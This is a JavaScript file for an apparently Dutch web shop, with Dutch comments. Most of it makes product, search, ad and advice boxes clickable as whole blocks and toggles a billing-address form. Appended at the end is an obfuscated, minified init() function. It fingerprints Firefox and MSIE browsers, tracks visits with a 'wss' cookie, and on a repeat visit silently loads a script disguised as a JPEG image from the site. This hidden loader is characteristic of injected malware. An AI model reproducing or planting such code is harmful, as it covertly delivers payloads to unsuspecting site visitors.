/* 	Deze file handeld alle javascriptjes af die nodig zijn voor de werking van de site.
	Niet voor de winkelwagens.
*/

/*
	## GLOBAL ## ---------------------------------------------------------------------------------------
*/
	$(document).ready(function() {
		externalLinks();
	});
	
/*	end -- */


/*
	## ZOEKEN ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de homepage (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$("#searchbutton").bind('click', function(i) {
			$("#searchform").submit();
		});
	});
	
	/*	Fix de links op de homepage (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$(".zoekresultaten .pipingBox .detail ").each(function (i) {
			// Zet ee handje als cursor op de blokken.
			$(this).css('cursor', 'pointer');
			// Zoek de title atribute van de link.
			var $title = $(this).find('a').attr('title');
			// Zet de gevonden title op de li (weet niet of dit valid is).
			$(this).attr('title', $title);
			
			$(this).bind('click', function(i) {
				var $link = $(this).find('a').attr('href');
				document.location = $link;
			});
		});
	});
	
/*	end -- */



/*
	## HOME PAGINA ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de homepage (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$(".homepage .productBox ul li").each(function (i) {
			// Zet ee handje als cursor op de blokken.
			$(this).css('cursor', 'pointer');
			// Zoek de title atribute van de link.
			var $title = $(this).find('a').attr('title');
			// Zet de gevonden title op de li (weet niet of dit valid is).
			$(this).attr('title', $title);
			
			$(this).bind('click', function(i) {
				var $link = $(this).find('a').attr('href');
				document.location = $link;
			});
		});
	});
	
/*	end -- */



/*
	## PRODUCT EN PRODUCTEN PAGINAS ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de product en producten paginas (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$(".product .pipingBox .detail").each(function (i) {
			// Zet ee handje als cursor op de blokken.
			$(this).css('cursor', 'pointer');
			// Zoek de title atribute van de link.
			var $title = $(this).find('a').attr('title');
			// Zet de gevonden title op de li (weet niet of dit valid is).
			$(this).attr('title', $title);
			// Attach een click event op de items, welke de browser naar de href van de link sturen.
			$(this).bind('click', function(i) {
				var $link = $(this).find('a').attr('href');
				document.location = $link;
			});
		});
	});
	
/*	end -- */

/*	
	## AD BOX ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de product en producten paginas (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$(".adBox").each(function (i) {
			// Zet ee handje als cursor op de blokken.
			$(this).css('cursor', 'pointer');
			// Zoek de title atribute van de link.
			var $title = $(this).find('a').attr('title');
			// Zet de gevonden title op de li (weet niet of dit valid is).
			$(this).attr('title', $title);
			// Attach een click event op de items, welke de browser naar de href van de link sturen.
			$(this).bind('click', function(i) {
				var $link = $(this).find('a').attr('href');
				document.location = $link;
			});
		});
	});
	
/*	end -- */




/*	
	## ADVICE BOX ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de product en producten paginas (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$(".adviceBox").each(function (i) {
			// Zet ee handje als cursor op de blokken.
			$(this).css('cursor', 'pointer');
			// Zoek de title atribute van de link.
			var $title = $(this).find('a').attr('title');
			// Zet de gevonden title op de li (weet niet of dit valid is).
			$(this).attr('title', $title);
			// Attach een click event op de items, welke de browser naar de href van de link sturen.
			$(this).bind('click', function(i) {
				var $link = $(this).find('a').attr('href');
				document.location = $link;
			});
		});
	});
	
/*	end -- */



/*
	## REGISTREREN PAGINAS ## ---------------------------------------------------------------------------------------
*/

/*	Fix de links op de product en producten paginas (links zitten alleen op de pijlen, en moeten op het hele block. <-- */
	
	$(document).ready(function() {
		$("#toggleFactuuradres").bind('click', function(i) {
			$("#toggleFactuuradres").css('display', 'none');										
			$("#Factuuradres").css('display', 'block');
			
			$("#anderfactuuradres").val('true');
		});
	});
	
	
/*	end -- */

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/home4_v.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
